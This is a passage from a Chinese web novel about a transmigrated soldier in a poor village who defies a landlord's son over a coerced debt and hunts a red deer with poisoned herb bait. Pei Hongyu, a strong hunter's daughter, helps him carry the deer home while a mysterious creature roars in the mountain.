林雅娴惊得小嘴大张,半天缓不过神来。
这还是自家那个性子窝窝囊囊的的叔叔吗?
啥时候这么生猛了?
等她反应过来劝薛猛时,李贺都快被打死了。
这李贺,虽然不是个东西!
但他家在白虎乡有钱有势。
薛猛若是真把他打死,只怕是要惹上官司,到时候难逃充军的下场!
林雅娴可不想肚子里的孩子,一生下来就没爹!
但盛怒之下的薛猛,根本听不进去林雅娴的劝阻。
“打死你个死肥猪!敢欺负我嫂子,老子饶不了你!”
“喜欢玩别人家的女人是吧?老子除了你这祸根,看你以后拿什么惹祸!”
薛猛抬脚就往李贺命根子上踹。
奈何李贺的蝉蛹实在太小了,被肚子上的大胃袋盖住,薛猛居然踹不到。
气得他一脚踢到李贺屁股上。
“啊!别打了……求你被打了!”
李贺被踹得嗷嗷叫唤,满地乱爬。
“来人啊……薛家小子欠钱不还,还要殴打债主,我快被打死啦!”
“快来人呐!出人命啦!”
李贺杀猪般的凄惨叫唤,很快引来不少不明真相的村民围观。
不多时,有村民跑去叫来了村长徐守业。
“长根儿,快住手!到底怎么回事?”
听说薛猛和李贺打起来了,徐守业和徐瑾儿火急火燎带着人赶了过来。
看在徐守业的面子上,薛猛这才收了手。
“卧虎村村长,你可得好好管管你们村这个刁民!”
“这姓薛的,欠了我李庄五十两银子,我上门讨债,他不给钱不说,还敢打我!”
“你们村这是没王法吗?信不信月底替衙门收公粮的时候,我让我爹多收你们一成折色!”
李庄作为白虎乡大户,被衙门委任为粮长,协助官府催收公粮,维护治安。
别看这粮长,不算是正式的官吏,但却管着白虎乡五个村子的公粮催收大权。
收粮的时候想从中作梗拿捏下面村民,简直不要太容易。
所谓折色,就是将公粮这算成银钱,多收一成折色,就要多交不少粮!
一般村民,最害怕的就是这种威胁。
“李贺,你少威胁我!”
但徐守业却是怡然不惧,反是对李贺问道:“你口口声声说薛猛欠了你五十两银子,可有字据?”
“有!当然有!”
李贺抹了把嘴角淤血,从袖子里掏出一张欠条:“白纸黑字,写得清清楚楚,上面还有姓薛的亲自摁的手印!”
“长根儿,这是真的?”
徐守业接过借条看了看,眉头一皱,扭头看向薛猛。
看着借条上的血指印,薛猛神经猛跳,咬牙切齿,脑海中涌现出一股痛苦回忆。
数日前,李家老爷过寿!
李庄门前的潲水沟里,倒满了吃剩的酒肉。
一群乞丐前去哄抢,前身因为太久没占荤腥,也跟着想去抢一口潲水打打牙祭。
不曾想,争抢之下前身被推搡在地,刚巧撞到了从门里出来的李贺。
不小心在对方衣摆上,留下了半个脏手印。
李贺当场大发雷霆,要前身赔偿五十两银子。
前身身无分文,拿不出来。
随行李贺左右的宋大龙,便将前身衣服裤子全扒光,吊在树上,抽得死去活来,并迫使他在欠条上摁下血手印!
回到家后不久,前身便断了气。
临死前,前身受到的那些痛苦,全部化作了无尽的怨念,残留在这具身体里。
现如今,看见这张印着血指印的欠条,这些怨念瞬间复苏!
宛如千百根钢针,刺痛着薛猛的神经,让薛猛感同身受!
李贺!
宋大龙!
这两个人,已经被薛猛列入心中的必杀榜!
以往,李贺为非作歹,宋大龙必定随行左右,充当他的爪牙!
今天不在,来日一并清算!
“你小子还敢瞪我?这欠条上面写得清清楚楚,你要是拿不出五十两,你薛家的这破房子就归我了!”
“你嫂子也得给我李庄做美人纸,就连你,也得给我做一辈子下马凳!”
当着这么多人的面,李贺也不怕薛猛再敢动手,顿时恢复了嚣张气焰。
薛猛虎目微眯,眼中寒芒如刀,恨不得现在就把李贺这畜牲宰了。
但,当着这么多双眼睛,若是真的杀了这家伙!
只怕自己就别想在此间立足了。
不是不杀,只是时机未到,要缓杀,慢杀,灵活地杀,讲究策略的杀!
“五十两银子?我滴个乖,我这辈子都没见过那么多钱!长根儿怎么欠李庄这么多钱啊?”
“还用说,这个败家子,肯定是借钱去吃喝嫖赌了!他爹老薛留下的家产,不就是被他这么败光的吗?”
“以前薛家也算小有薄产,全毁在薛猛这个败家子手里!现在可倒好,连最后剩下的这间小破院子,也归李家了。”
“欠债还钱,天经地义!还不起钱,薛家叔嫂就要永世给李庄为奴为仆!”
“做了美人纸、下马凳,那就不能算是人了,连牛羊猪狗都不如!”
“这下薛家可真要绝户咯!”
“……”
听到周围村民七嘴八舌的议论,林雅娴心里咯噔一下,一颗心沉到了谷底。
她好不容易才说服自己要为薛家延续血脉。
没想到,昨晚才把身子给了薛猛,今天薛家就面临灭顶之灾!
这是天要亡薛家啊!
“长根儿,你为什么不告诉我,你欠李庄这么多钱啊!家里的钱都被你败光了,你还不知悔改?还去花天酒地?”
看着薛猛,林雅娴恨铁不成钢,急得泪水夺眶而出。
挥手就要扇这个不成器的小叔大耳刮子。
但最终,这一巴掌还是没忍心落下去。
哎!
怪只怪,我这个做嫂子的,没有教育好这个小叔子,把他给惯坏了!
打他又有什么用呢?
“嫂子,你听我说…”
见林雅娴误会,薛猛连忙握住对方的手腕,想要说出真相。
“嫂子!我没有找李庄借钱!”
“这欠条是他们逼着我签的!”
“够啦!别再骗我了!”
林雅娴心里对薛猛失望透顶。
事到如今,人家连字据都拿出来了,薛猛居然还想赖账?
李庄的债,是赖得掉的吗?
轻咬红唇,林雅娴似乎下定了某种决心,迈步向前走去。
在众目睽睽之下…
这个柔弱而坚韧的女子,竟然扑通一声,双膝一软,跪在了李贺面前。
“嫂子,你这是干什么?!”
薛猛虎目一震。
林雅娴跪在地上,拖着哭腔,垂泪喊道:“李公子!”
“俗话说长嫂如母,我叔叔欠你的债,就由我这个做嫂子来还!”
“给你李家当牛做马,我认了!”
“只求你饶了我叔叔吧!”
薛猛闻言一愣,心中动容。
围观村民无不是唏嘘惋叹,替林雅娴觉得不值。
“林姑娘,你这是何苦啊!”
“薛猛这种无可救药的人,你搭理他干什么!”
“你还年轻,只要你肯改嫁,有的是大小伙子让你选,何必吊死在薛家这棵树上!”
“行!我成全你!”
李贺舔了舔嘴皮子,眼冒邪光。
那双贼眼好像在林雅娴身上生了根,舍不得移开。
整个白虎乡,就数这林雅娴小寡妇,最迷人儿!
他馋林雅娴这块肥肉很久了。
先前霸王硬上弓,都没占到便宜。
现在这贞烈美人儿居然跪在自己面前,主动示弱服软,有这种好机会,他当然要抓住!
只要林雅娴落到他手里,还不是任由他抓圆捏扁,随便糟蹋。
“嫂子,你别求他!这钱我能还!”
林雅娴为了自己,居然不惜给李庄为仆。
这样的好女人,前世打着灯笼都找不着。
薛猛很清楚,一旦成为李庄的奴仆,这辈子就别想翻身了!
他决不能让嫂子跳进这个火坑。
第7章 以后咱家天天吃肉
“笑话!你可是欠我五十两,不是五十文!”
“你个穷光蛋,穷得要女人接济才能苟活的废物,拿什么还?”
“难不成,要去卖沟子吗?哈哈哈……”
李贺扬了扬手里的欠条,得意大笑,自以为捏住了薛猛的命门。
刷!
不料话说到一半,李贺眼前一花,手里的欠条被薛猛突然伸手夺去。
刷刷刷!
欠条被薛猛当场撕得粉碎,甩手抛向半空!
纸屑纷飞如雪。
院中十几双眼睛,全都惊愕圆瞪。
薛猛须发飘扬,虎目圆瞪,冷锐目光逼视李贺。
“纸屑落地之前,你还有最后一次机会,从我家滚出去!”
“三日后,我还你五十两,但我要从你脖子上,取走一件东西!”
薛猛语气冰冷,不带一丝温度。
一代兵王该有的暴戾和冷酷,尽显无疑。
李贺定在原地,额头冷汗直冒。
有那么一瞬间,他感觉薛猛真敢杀他!
“好……你有种,我就等你三天!”
“三天后,你要是还不上五十两银子,本公子绝不饶你!”
好汉不吃眼前亏,李贺也不傻。
今天他手下第一打手宋大龙没在,身边两个家丁又没啥本事,真把薛猛逼急了,自己说不定要吃血亏。
“别踏马装死了,走!都怪你们两个废物不中用,丢人都丢到家了!”
一挥手,带着两个家丁拂袖离去。
“公子,真的要给他三天时间吗?”离开薛家,家丁问道。
“哼!就凭薛猛这个穷光蛋,三天时间还上五十两银子,说破了天也是不可能的事情!就让他再苟活三天,反正他逃不出我的手掌心……”
李贺眼神阴鸷,暗自咬牙。
三天后,宋大龙也该从黑风岭回来了!
到时候,一定要把今天受到的屈辱加倍奉还!
“行啦行啦,都散了吧!还嫌事儿不够大是吧?”
薛家门前,徐守业挥挥手,驱散了看热闹的村民。
捋了捋颌下胡须,转头看向薛猛,目露担忧:“长根儿,五十两银子,可不是小数目啊。”
“实在不行,徐伯回去帮你凑凑,我在县里还有些熟人儿,兴许能帮你。”
“徐伯,真不用!这钱我真能还!我现在会打猎了,赚钱快得很!”
薛猛自信一笑,婉拒对方好意。
徐守业摇头苦叹。
这孩子还是太年轻了。
五十两银子,得卖多少兔子才能赚到啊?
更何况只有短短三天时间。
银子又不是石头,哪有那么容易得来!
“徐伯,留下吃饭吧!中午咱吃兔肉!”
对于徐守业,薛猛印象还是不错的。
作为村长,他这些年对前身明里暗里给了不少照顾。
而且他为人清廉,从来没有利用村长这个身份牟利,所以家里条件也不太好,薛猛知道他也没什么钱。
至于县里的人脉?
别闹了,一个小小村长,能有什么人脉?
“饭就不吃了,你还是想想,该怎么堵上这个窟窿吧。”
打猎这种事情,运气成分很大。
薛猛今天打到了兔子和野鸡,不代表天天都能打到。
要赚五十两,难如登天。
徐守业哪里还忍心吃他的兔子。
“晚上睡觉也留点神,你今天打了李贺,他肯定不会轻易罢休。”
留下这句忠告,徐守业牵着徐瑾儿,离开了薛家。
“嫂子,你别哭了,看这是我上午打到的猎物!你放心吧,我真能赚到钱,不会让李贺那个王八蛋把你带走的!”
薛猛扬了扬手里的兔子。
“这么大?”
林雅娴愣了一下。
没想到,薛猛居然没有骗她,他真的打到了猎物!
但,就靠这几只兔子和野鸡,也卖不了五十两啊!
“嫂子,留一只兔子咱们杀来吃,剩下的卖了换粮食!”
“至于欠李家的钱,你不用操心,我已经有安排了!”
野兔的确卖不到五十两。
但山里有马鹿,只要搞到鹿茸,区区五十两又算什么?
再者说,薛猛压根没打算还李家的钱。
那欠条根本就不是他自愿签下的!
李家依靠这种下作手段,让不少穷人都欠了他们的债,最后全都成为了李家的奴仆,永世不得翻身。
但想让薛猛屈服?
做梦!
暂时答应还钱,也只不过是为了让嫂子安心。
三天后,薛猛相信以自己的本事,绝不会再是现在这样的处境。
到那时,李贺要是再敢来找茬,薛猛不介意送他下地狱!
当天下午,薛猛就去白虎乡肉庄,卖掉了三只野兔和一只野鸡,换了四十斤粮米回来。
“白虎乡虽然离家近,只有几里路,但收山货的价钱实在压得太低了!”
“下回打到大货,还是得去洪雅县卖才能卖出好价钱!”
薛猛心中盘算着,刚回到家,灶房里便飘出阵阵诱人的饭菜香味。
沉寂许久的薛家小院,罕见地有了一丝烟火气。
“嫂子,好香!”
“长根儿,你回来了?赶快洗手准备吃饭吧!”
薛猛将肩上扛着的一袋粮米放进米缸,洗了洗手,来到了饭桌前坐下,肚子已经饿得咕咕叫。
饭桌上,摆着一个陶罐,一盘野桃子。
薛猛揭开陶罐盖子,一股肉香四溢而出,飘得满屋子都是。
“兔子太肥了,我留了一半用烟熏着以后吃,还有一半用茱萸熬成了兔肉辣羹。“
“行,挺好!”
薛猛从穿越过来后,就没有沾过荤腥。
加上进山打猎,体能消耗极大,本就腹中饥饿,现如今闻到这兔肉辣羹的辛鲜香味,大脑瞬间被食欲占领了!
脑子里第一念头,就是进食!
他连忙盛了一碗兔肉羹,也不顾烫,三两下吃得干干净净。
“我擦,香!真香!”
“嫂子,你的手艺太绝了!”
薛猛感觉这是他吃过最美味的东西,好吃到连国粹都爆出来了。
这是他穿越到这个世界以来,第一次吃肉。
除了满足了口腹之外,腹下丹田的地方,还涌起了一股暖流。
昨晚干了一晚上狠活儿,早上又跑去山里打猎,薛猛原本很是疲惫。
但随着那股暖流涌遍全身四肢百骸,周身疲惫感顿时烟消云散。
也不知道是不是错觉,他感觉自己浑身都是劲儿,一拳能打死一头老牛!
那种喉咙里往上冒油的感觉,真好!
“嫂子,你光扒拉那玩意儿干啥?坐下吃肉啊!”
就在薛猛准备盛第二碗时,才后知后觉地发现,林雅娴手里端着一碗野菜拌米糠,倚在门边,往嘴里扒米糠。
“长根儿,你打猎辛苦,肉你吃吧!嫂子不爱吃肉,吃这个就够了!”
不爱吃肉?
分明是舍不得吃!
薛猛懒得跟林雅娴废话,直接盛出满满一大碗兔肉羹,拽着林雅娴在桌前坐下。
“嫂子,你不吃,那我喂你吃!”
薛猛用筷子夹起一块兔肉丁,递到林雅娴嘴边。
林雅娴顿时脸红到了耳根子。
寡嫂子被小叔子喂饭,这算怎么回事儿?
传出去都没脸见人了!
“长根儿你别这样,嫂子还是自己吃吧。”
见林雅娴总算肯好好吃饭。
薛猛点头轻笑:“行,快吃吧!”
林雅娴小心翼翼吞下第一口兔肉羹,不知道想起了什么,鼻子一酸,竟然掉起了眼泪。
薛猛一怔:“嫂子,你哭什么?是不是烫到了?”
林雅娴摇摇头,拖着哭腔道:“我是想到,俺娘和妹子,也是好多年,没尝过荤腥了。”
薛猛咧嘴一笑:“多大点事儿。”
“把丈母娘和小姨子接过来,咱们一起住不就行了?”
“以后咱家,天天有肉吃!”
林雅娴美眸圆瞪。
天天吃肉?
连年战乱加上灾荒,大虞百姓过得苦不堪言。
不少地方甚至出现了易子相食的情况,寻常农户家每天能吃上一顿稀薄如水的野菜粟米粥或者米糠拌野菜,就已经算是老天保佑了。
白米白面,许多农户这辈子都没见过,只有李家那种大户人家才吃得起。
至于天天吃肉,那更是卧虎村村民连做梦都不敢想的事情!
自家叔叔,莫不是害失心疯了,说出这等胡话?
“嫂子,你慢慢吃,我出去办点事!一定要吃饱哦,这样肚子里的孩子才有营养!”
“你也不希望,咱们的孩子一生下来,就营养不良吧?”
说完,薛猛拎着剩下半只烟熏兔子,背着弓箭出了门。
林雅娴脸红得能滴出血。
这才哪跟哪啊!
就想着孩子的事儿了?
第8章 裴红玉的忠告
“你来做什么,上次偷看我洗澡,我还没跟你算账呢!”
薛猛拎着半只烟熏兔子,来到裴家,本意是想感谢裴老猎户借他箭头。
没成想刚进门,就被一个清冷中透着些许泼辣的声音叫住。
薛猛一抬眼,就看见一个穿着兽皮短褂,头缠红绳,约莫十七八岁的少女朝他走来。
少女眉眼如画,面似芙蓉,只看脸的话,妥妥一个大美人儿。
但那身板,却是生得虎背狼腰,胸脯高耸,比男人还要高大。
手里还牵着一只威风凛凛的白色猎犬。
薛猛看得一怔。
脑子里瞬间浮现出两个肥墩墩的肉蛋子!
裴红玉,裴老猎户的女儿,村里人管她叫裴四妹!
听村里人说,这女人天生神力,单手就能提起斗大磨盘,还跟着一个挂门老江湖,学会一身沾衣十八跌的掼跤本事。
五年前,裴家三兄弟出事时,裴红玉才十二岁。
有个不晓事的登徒浪子,见裴家没了男丁,闯入裴家,想要欺负她。
结果刚手指头碰到裴红玉衣角,就被一股强横力道摔出门外,当场摔断了三根肋骨,从此成了废人。
这才是名副其实的母老虎!
宋大芬那头外强中干的母大虫,根本没法比!
薛猛扬了扬手里的烟熏兔子,露出友善笑容:“哦,早上我跟你爹借了几个箭头,这是我打的兔子,给你们送来一些,不多,你们别嫌弃!”
“借箭头?”
裴红玉抱着胳膊,冷哼道:“我看你是偷箭头才对吧!我爹神志不清,你跟他借什么箭头?你要借箭头,为什么不跟我说?”
薛猛挠了挠头,尴尬道:“我上次……不小心撞见你洗澡,你追着我满院子跑,我这不是怕你不肯借我吗?所以才出此下策。”
“箭头我还你,这兔子你也收着。”
说着,薛猛就准备将箭筒里的箭取下箭头还给裴红玉。
“不用了。”
“既然事情说开了,就算了吧,我也不是斤斤计较的人,那几个箭头送你了,反正我已经很久不打猎了,留着也没用。”
“你今天早上进山了是吧?进屋坐会儿,我有事要问你。”
裴红玉推开自家院门,率先牵着猎犬进了屋。
看着裴红玉英姿飒爽的背影,薛猛忍不住咽了口唾沫。
这娘们儿,是真壮实啊!
腰臀比堪比前世那些大洋马!
不愧是猎户家的女儿,从小不缺肉吃,长得就是好!
“有什么问题,你就问吧,我一定知无不言。”
进了屋,在桌上放下烟熏兔子,薛猛在凳子上坐了下来,正色道。
裴红玉问道:“你进山之时,是什么时辰?”
“卯时三刻。”
“那你,有没有在山里遇到什么奇怪的东西?”
“奇怪的东西?”
薛猛听得满头雾水,随即摇摇头:“没有哇!”
裴红玉搅合着陶罐里的野菜粥,若有所思,低声喃喃道:“没道理啊……”
“那东西最喜欢吃血气方刚的年轻小伙子,怎么会没有出现?”
“难道已经老死了吗?”
那东西?
吃年轻小伙子?!
薛猛闻言一怔,随即脑中灵光一闪,突然反应了过来。
裴红玉嘴里的那东西,应该就是当年害死她三个哥哥的妖怪!
薛猛刚想问问,那到底是什么东西,让她如此忌惮,裴红玉却恢复了冷漠神色。
“你这次没撞上那东西,算你运气好!”
“不过我劝你好自为之,不要再贸然进山了!”
“尤其是天黑以后,千万不要进山,要是误入迷魂凼,神仙也救不了你!”
留下这几句忠告,裴红玉唤了声“雪豹”,在院子里追蝴蝶的白色猎犬,立即朝她跑了过来。
“乖,吃饭了。”
裴红玉在狗碗里倒了一半野菜粥,虽然没有半点荤腥,猎犬仍旧是吃得哼哧哼哧香得很。
裴红玉又将剩下的野菜粥,分成两碗,下了逐客令:“行了,该说的我已经说了,我要给我爹喂饭了,你走吧。”
薛猛本来还想邀请裴红玉一起赶山打围狩猎马鹿,但对方话都说到这个份儿了,他也不好再开口。
出了裴家门槛,薛猛摸了摸脑门儿,满脑子都是疑问。
这卧虎山里,到底有个啥东西?
若是寻常虎豹狼熊,应该不至于让裴红玉这种人如此讳莫如深吧?
堂堂猎户之女,养着那么大条下司白龙犬,不去打猎,居然天天挖野菜熬粥喝?
她到底在怕什么啊?
“管球那么多,饿死胆小,撑死胆大!”
“等我把‘众生平等器’造出来,管你什么牛鬼蛇神,统统打回原形!”
薛猛甩了甩头,打消了心中杂念。
打猎,是他目前积累原始资本的最优解!
什么妖魔鬼怪,也挡不住他搞钱的雄心壮志!
每个穿越者心中都有一个造枪梦,薛猛也不例外。
只要条件允许,以他对枪支的了解程度,手搓一把也不是不可能。
不过,在这个科技落后的封建社会,想要达到造枪支弹药的条件,绝非一日之功。
眼下还是得从弓箭着手。
先前的桑木反曲弓和鸭毛箭,威力有限,顶多只能射杀一些野兔野鸡这类小型猎物。
而薛猛在见过马鹿那种大家伙的脚印之后,对这些小卡拉米已经失去了兴趣!
目光瞥向天上飞过的雁群。
“多漂亮的雁翎啊!”
薛猛咧嘴一笑,大雁生死难料。
鸭毛羽片窄而短,韧性差,不耐用不说,而且抗风能力弱。
相比之下,雁翎纤维密度高,羽片坚韧且有弹性。
若是用雁翎制作成箭羽,可以增强箭的抗风性和稳定性,射程也更远,捕猎马鹿也就多了几分胜算!
“嫂子,晚上咱们又有肉吃了!”
一进门,薛猛扬了扬手里的大雁,嘴里喊道。
正在洗碗的林雅娴闻言扭头,看见薛猛拎着大雁进门,顿时美眸惊颤。
出门时,薛猛手里拎着半只烟熏兔子。
回家时,手里的兔子就变成了一只嘴里含着箭杆,滴着血的鸿雁。
而是还是开口雁!
林雅娴虽然不懂射箭,但也知道射中开口雁意味着什么。
“叔叔,你……真会打猎?”
薛猛先前进山打到兔子和野鸡。
现在又射中大雁。
林雅娴感觉自己好像在做梦一样。
想起薛猛先前说过,他要打猎养她!
本以为这个小叔子只是嘴上说说罢了,没想到他来真的?
难不成,昨晚成了男人后,他转性了?
可他啥时候学会打猎的?
山上那么危险,还有吃人的妖怪,要是遇上了可怎么得了!
高兴之余,林雅娴又担忧起来:“长根儿,山里危险,就算你真会打猎了,也还是少进山为妙。”
“欠李家的钱,嫂子给你想办法!”
“嫂子就是去卖,也不会让你当李家的下马凳!”
“雅娴!我不许你胡说!”
薛猛一把抱住林雅娴,怒目圆瞪:“你是我的女人!我不许你作践自己!”
“我都说了,欠李家的钱,我自有安排,不用你操心!”
“等着吧,等我今晚进山打到大货,卖了钱,我就娶你!”
“到时候,把丈母娘和小姨子也接过来一起住!”
“我养得起你们!”
说完,薛猛紧紧搂住林雅娴的腰肢,抚摸着林雅娴的秀发,轻轻吻了她一下。
林雅娴娇躯轻颤,整个人软在了薛猛怀里。
耳根羞红,珠泪盈睫,小脸靠在薛猛肩头,低声嗫喏:“长根儿,嫂子依你!”
“哗啦啦!”
薛猛往木盆里倒了满满一盆温水。
而后将大雁整个浸泡在里面。
待大雁的皮肤软化后,顺着羽毛的生长方向,小心拔下翅膀和尾巴上的长羽。
每支箭,需要使用三根箭羽。
一只大雁身上能用来制作箭羽的羽毛,最多只有几十根。
这只领头雁个头不小,薛猛最终筛选出了四十五根品相最完美的雁羽。
经过反复清洗,除去根部的油脂,用线绑起来,挂在通风处晾干。
制作雁翎箭,工艺要比鸭毛箭复杂许多,不能着急。
趁着雁翎风干的当口,薛猛扛着锄头,挎着竹篮,来到了一块杂草丛生的荒地。
“嘿咗!”
锄头挥下,连根带起一大片杂草。
薛猛弯腰捡起两株长得差不多的杂草,抖掉杂草根部多余的泥土,凑近鼻前闻了闻。
其中一株叶子大的,有股子淡淡的辛辣苦涩气味,另一株叶子小的有股淡淡的清苦味和青草香。
“嘿嘿,就是这两种草!有了这宝贝,还愁马鹿不上当?”
随手将两种杂草丢进竹篮。
薛猛继续埋头挖这两种杂草。
“哟,这不是长根儿吗?”
第9章 马鹿,别跑!
“他不去打猎,怎么挖起野菜来了?”
“这个败家子,欠李家五十两银子,我看他怎么还得起!一个大老爷们儿跑来挖野菜,真没出息!”
几个路过的妇人,看着薛猛一个劲瘪嘴摇头。
村里挖野菜的大都是妇人。
男人们平时都去给大户家做长工。
可薛猛这么个大男人,却跑来跟妇人们抢着挖野菜,大家心里当然觉得不舒服。
然而薛猛却是全然不在乎别人的看法,自顾自埋头挖着杂草。
“薛大哥,你怎么挖上野菜啦?”
薛猛挖得正起劲,徐瑾儿拿着一把小铁锄,挎着竹篮走了过来。
定睛一看,薛猛竹篮里的东西,根本就不是野菜,而是杂草:“呀薛大哥!你挖错了,这种草有毒,不是野菜,吃不得。”
薛猛扬起脸,冲徐瑾儿笑了笑。
“瑾儿妹子,你来得正好!”
“帮我多挖些这种草,等我打到马鹿,分你一半!”
“啊?”
徐瑾儿闻言一怔,这挖杂草,跟捕猎马鹿有啥关系?
“行吧,帮你可以,但是这种草你千万不要吃哦!”
在徐瑾儿的帮助下,薛猛的竹篮很快就装满了。
两个人干活,是比一个人干活快!
“行,差不多够了,瑾儿妹子,回去等我好消息吧!”
和徐瑾儿分开后,薛猛提着满满一竹篮杂草回到家。
看着薛猛离开的背影,徐瑾儿面露担忧。
难道薛大哥今晚又要进山不成?
薛猛回到家,立即将两种草切碎,拌上中午的剩饭,搓成草团子,放进竹篮。
正好雁翎也已经风干了,薛猛抓紧时间,着手给箭杆换上新的箭羽。
忙活完,天已经快黑了。
“嫂子,我出去打猎吧,你在家把门儿锁好!”
薛猛挎上竹篮,带上弓箭,打着火把,向卧虎山方向走去。
林雅娴站在门口,目送薛猛的背影消失在夜色中,俏脸上满是不舍和担忧:“长根儿,早点回来!打不到猎物也没关系,嫂子等你回来造娃!”
第二次进山,薛猛轻车熟路来到了之前发现马鹿脚印的地方,从竹篮里取出杂草团子,撒在马鹿可能经过的地方。
做完这一切,薛猛爬上一棵大树,潜伏在树冠之中。
居高临下,借着月色,俯瞰着树下的风吹草动。
诱饵已经布下,只等马鹿出现。
没过多久,一只野兔从旁边草丛中窜出,闻了闻地上的杂草团子。
眼看野兔想吃草团子,薛猛扣下一块树皮,朝野兔砸了过去。
野兔吓得撒腿就跑。
今晚,薛猛是奔着马鹿来的!
可不能让野兔这种小卡拉米,坏了他的计划。
等待往往是漫长的。
但作为一个顶尖的狙击手,薛猛最不缺的就是耐心。
不知过了多久。
月影西斜。
薛猛眼中血丝交织,和困意作着斗争。
就在薛猛几乎快要撑不住时,刷啦啦,旁边灌木丛忽然动了一下。
两个黄绿色亮点,在夜色中显得异常醒目。
是马鹿的眼睛在月色下反光!
薛猛顿时虎目圆睁,打起了十二分精神。
来了!
大宝贝儿总算来了!
马鹿优雅地迈着步子,慢悠悠走出灌木丛,低下头嗅了嗅地上的草团子。
鼻子呼哧呼哧,显然那草团子的气味让他感到兴奋。
紧跟着,这个贪吃货,就开始对着草团子大快朵颐。
嘴里不停发出轻柔低沉的咕噜声。
这是马鹿在吃到好吃的东西时,才会发出的特有声音,就好像人类吃到好吃的,会忍不住说:“香,真香!”
“吃吧,吃吧,多吃点!”
薛猛心中窃喜。
吃了我的鹿药团子!
接下来,就该我吃你了!
薛猛屏息凝神,悄然拉开长弓,调整箭头方向。
冷锐箭头对准了马鹿颈部咽喉下方的位置。
和兔子不同,马鹿的眉心被颅骨覆盖,且额头肌肉结缔组织很厚。
以薛猛现在手里的反曲弓,很难穿透马鹿坚硬的骨骼,无法做到一击毙命,反而有可能把这家伙吓跑。
而马鹿的颈部,没有骨骼保护,主要是气管、颈动脉和脊椎,相对薄弱。
薛猛深吸一口气,虎目精芒闪烁,撒手放箭。
嗖!
雁翎羽箭脱弦而出,朝着马鹿颈部射去。
薛猛对自己的箭术很有信心。
这一箭他是直奔马鹿颈部脊椎神经去的,只要射中脊椎神经,瞬间就能使其瘫痪!
然而就在这时,意外却发生了。
“嗬!嗷呜!”
卧虎山深处,突然传来一声低沉的咆哮。
那咆哮声,像是从某种大型猛兽胸腔深处爆发而出,带着震动空气的力量。
即便隔得老远,都震得山中鸟雀纷飞。
正在享受美味团子的马鹿,自然也是被这声咆哮声吓个不轻,撒腿就要逃跑。
它这一跑,薛猛的雁翎箭就射偏了,只是擦伤了马鹿脖颈皮毛!
马鹿受惊不小,发狂般在林中横冲直撞。
“别跑!”
薛猛连忙从树上一跃而下,抽出腰间砍柴刀,追着受伤的马鹿血迹狂奔而去。
到嘴的肥肉,怎么能让它跑了!
马鹿奔跑速度极快,在林中穿梭宛若狂风,哪怕薛猛使出吃奶的劲儿,也是落后马鹿好几个身位。
林中逐鹿,惊心动魄。
大概半个钟头后,薛猛几乎快要放弃时,马鹿的速度逐渐慢了下来。
就像喝醉了酒一样,跌跌撞撞,最后一头撞在一棵大树上。
砰!
四百斤重的硕大身躯,轰然倒地,四肢抽搐,嘴里呼噜噜吐着白沫。
薛猛见状,心中一喜。
看来鹿药团子开始发挥作用了!
薛猛下午挖的两种杂草,一种名为鹿药,没有毒,它散发出的清香味,很容易吸引鹿科动物。
另一种叫做藜芦,有剧毒,马鹿一旦误食这种草,就会出现呼吸抑制、意识障碍、肌肉抽搐的症状。
巧的是,这两种草长得特别像。
薛猛将它们切碎混合在一起,马鹿根本分辨不出来。
若是小鹿,吃了这鹿药团子,甚至会呼吸衰竭而死,都不需要薛猛动手补刀。
但这头马鹿,个头太大,哪怕中了毒也死不了。
生怕马鹿再跑,薛猛连忙追了过去,手提砍刀,对准马鹿颈部脊椎神经,一咬牙,一刀捅了下去!
噗呲!
鹿血飞溅,撒落在薛猛脸上!
白刀子进去红刀子出来。
马鹿想要反抗挣扎,但因为中了毒,脊椎神经又被切断,没扑腾几下就倒在地上不动了。
倒也走得安详。
“好孩子!”
“安息吧!”
薛猛抹了把脸上的血迹,拍了拍马鹿的脸。
靠着马鹿硕大的身躯,瘫坐在地,呼哧呼哧喘着粗气。
为了追这玩意儿,肺管子都快累炸了!
大腿酸疼,他是一点力气都没有了。
歇了会儿,薛猛趴在马鹿颈部,吮吸了几口新鲜鹿血,方才逐渐恢复了一些体力。
当鹿血咽下喉头的那一刻,薛猛欣慰地笑了。
一晚上的辛苦,没有白费!
总算是拿下这个大家伙了!
“薛猛!是薛猛吗?”
裴红玉牵着猎犬,打着火把,走了过来。
“咦?裴姑娘,你怎么来了?”薛猛看着裴红玉,有些意外。
她不是不肯进山的吗?
第10章 山里真有妖怪
“可算找到你了,我不是告诉你,天黑了不能进山吗?”
“你没听见刚才的咆哮声吗?那是山里的妖怪发出来的!”
“不想死,就赶快跟我下山!”
裴红玉没好气地说着。
刚才那咆哮声,是挺吓人的!
不像虎啸,也不是狮吼,那到底是什么玩意儿?
薛猛摇摇头:“我没力气了,这马鹿怎么办?”
裴红玉用火把一照,这才发现薛猛身后居然躺着一头马鹿!
“这是你打的?”
薛猛轻笑点头:“不是我打的,难不成是自己死这儿的?”
裴红玉冰冷眸子闪烁,吃惊不小。
这么大的马鹿,以往至少要三个人围猎才能拿下!
薛猛居然一个人就拿下了?
这还是以前那个手无缚鸡之力的废人薛猛吗?
“你进山大半夜都没回家,你嫂子担心你出事,特地求我进山找你!”
“好人做到底,我帮你扛马鹿!”
“快走吧!”
裴红玉忌惮山中妖怪,也懒得跟薛猛啰嗦,直接将火把递给薛猛。
两只手抓住马鹿的蹄子,轻轻一甩,便将四百斤的马鹿扛上肩头。
迈着阔步,向前走去。
薛猛看傻了眼。
四百斤的马鹿!
她就这么水灵灵的扛着就走了?
这娘们儿这身肌肉,真没白长!
太猛了!
薛猛强撑起身,打着火把,跟着裴红玉屁股后面。
他本以为,自己已经算是猛人一个了。
可是站在裴红玉身边,感觉自己倒像是个被人保护的小媳妇儿。
嘶!
下山之前,薛猛回过头,朝着卧虎山深处望去。
想起先前的咆哮声,不由心弦一紧。
连裴红玉这种猛人,都如此忌惮。
卧虎山深处,到底隐藏着什么东西?
“林姐姐,你别急,裴姐姐本领高强,肯定会把薛大哥安全带回来的。”
卧虎山下,十几个火把照亮了一片空地。
徐守业背着手来回踱步,担忧着薛猛和裴红玉的安危,徐瑾儿则是贴心地安慰着眼圈通红的林雅娴。
林雅娴抹了抹眼泪,拖着哭腔道:“他昨晚亥时进的山,这天都快亮了,还没回家,我这心里怎么能不着急?”
“薛家就只剩下他一个男丁了!”
“若是他有个三长两短,我怎么跟薛勇跟薛家老爷子交代?”
薛猛进山后,林雅娴一宿没睡,就等着薛猛回家。
结果没等来薛猛,却听见山里传来吓人的咆哮声,林雅娴这才叫来村长徐守业和裴红玉,想办法去山里找薛猛。
